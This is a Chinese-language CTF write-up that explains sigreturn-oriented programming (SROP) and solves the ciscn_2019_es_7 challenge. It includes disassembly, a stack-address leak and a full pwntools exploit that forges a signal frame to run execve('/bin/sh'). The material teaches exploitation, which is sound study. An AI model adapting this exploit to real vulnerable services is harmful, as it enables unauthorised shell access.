SROP

文章发布时间:

最后更新时间:

文章总字数:
910

预计阅读时间:
3 分钟

一种独特的rop手法 利用了64位Linux的系统调用号15的rt_sigreturn函数

Linux系统中 信号实际上就是软中断 比如用户在终端输入了ctrl+c 就会终止终端 这时候就需要信号机制

软中断在计组原理中有所提及 这里不重复说明

每一个信号都有自己的名称和编号 对应着不同的功能 可以使用kill -l来查看

而今天要利用的rt_sigreturn函数就是linux中多种信号的一个

rt_sigreturn - 从信号处理函数返回,并清除栈帧

当linux内核确定某进程还有一个未阻塞的信号待处理 当进程下一次从内核态切换到用户态时(比如进行系统调用后 或者是进程重新调度到cpu上)

它会创建用户空间堆栈 或定义的备用堆栈上的一个栈帧 用于保存各种进程上下文

如图所示 其中最关键的就是寄存器的值也会保存在栈上 借助这一点 我们可以很轻易的实现寄存器值的修改 从而实现系统调用

这一段内存被称为Signal Frame

下面来看一道例题 buuctf中的ciscn_2019_es_7

1
2
3
4
5
6
7
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

保护机制很常规 看一下ida

1
2
3
4
5
6
7
8
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}

main函数跳转到了vuln函数

vuln函数有栈溢出的机会 同时还给了write函数输出0x30字节的数据

程序还给了gadget函数 伪代码看不出什么 看一下汇编

1
2
3
4
5
6
7
8
9
.text:00000000004004D6                 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1

有mov rax,0xf 显然这题就是要利用rt_sigreturn进行srop来实现system系统调用

不过要实现system(“/bin/sh”)首先我们还需要给rdi赋值binsh字符串的地址

由于题目没有自带binsh 此时有两种办法 一种是泄露libc基址 我们自己计算 还有一种是把binsh写到栈上 然后利用write函数泄露栈地址

gdb动调后发现泄露不到libc基址 所以这里用第二种办法 先gdb动调看一下哪里可以泄露栈地址

我们输入的8字节的字母a位于0x7fffffffdeb0处 而0x7fffffffded0处有一个0x7fffffffdfc8的栈地址可以泄露

我们可以计算偏移 得到栈上的地址

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",27954)
elf = ELF("./pwn")
libc = ELF("./buu_libc_ubuntu18_64")
context.log_level = "debug"
context.arch = "amd64"
vuln_addr = 0x4004ED
payload = cyclic(0x10)#+p64(vuln_addr)
gdb.attach(io)
io.sendline(payload)
stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x118

此时的stack_addr就是我们通过read函数输入的第一个字长的数据的地址 如果我们将其替换成binsh 那么就是binsh字符串的地址

接下来就是伪造Signal Frame了 pwntools自带了库可以实现

1
2
3
4
5
6
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import*
io = process("./pwn")
#io = remote("node4.buuoj.cn",27954)
elf = ELF("./pwn")
libc = ELF("./buu_libc_ubuntu18_64")
context.log_level = "debug"
context.arch = "amd64"
vuln_addr = 0x4004ED
payload = cyclic(0x10)+p64(vuln_addr)
io.sendline(payload)
stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x118
syscall_addr = 0x400517
rax15_addr = 0x4004DA
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload = b'/bin/sh\x00'+cyclic(0x8)+p64(rax15_addr)+p64(syscall_addr)+bytes(frame)
io.sendline(payload)
io.interactive()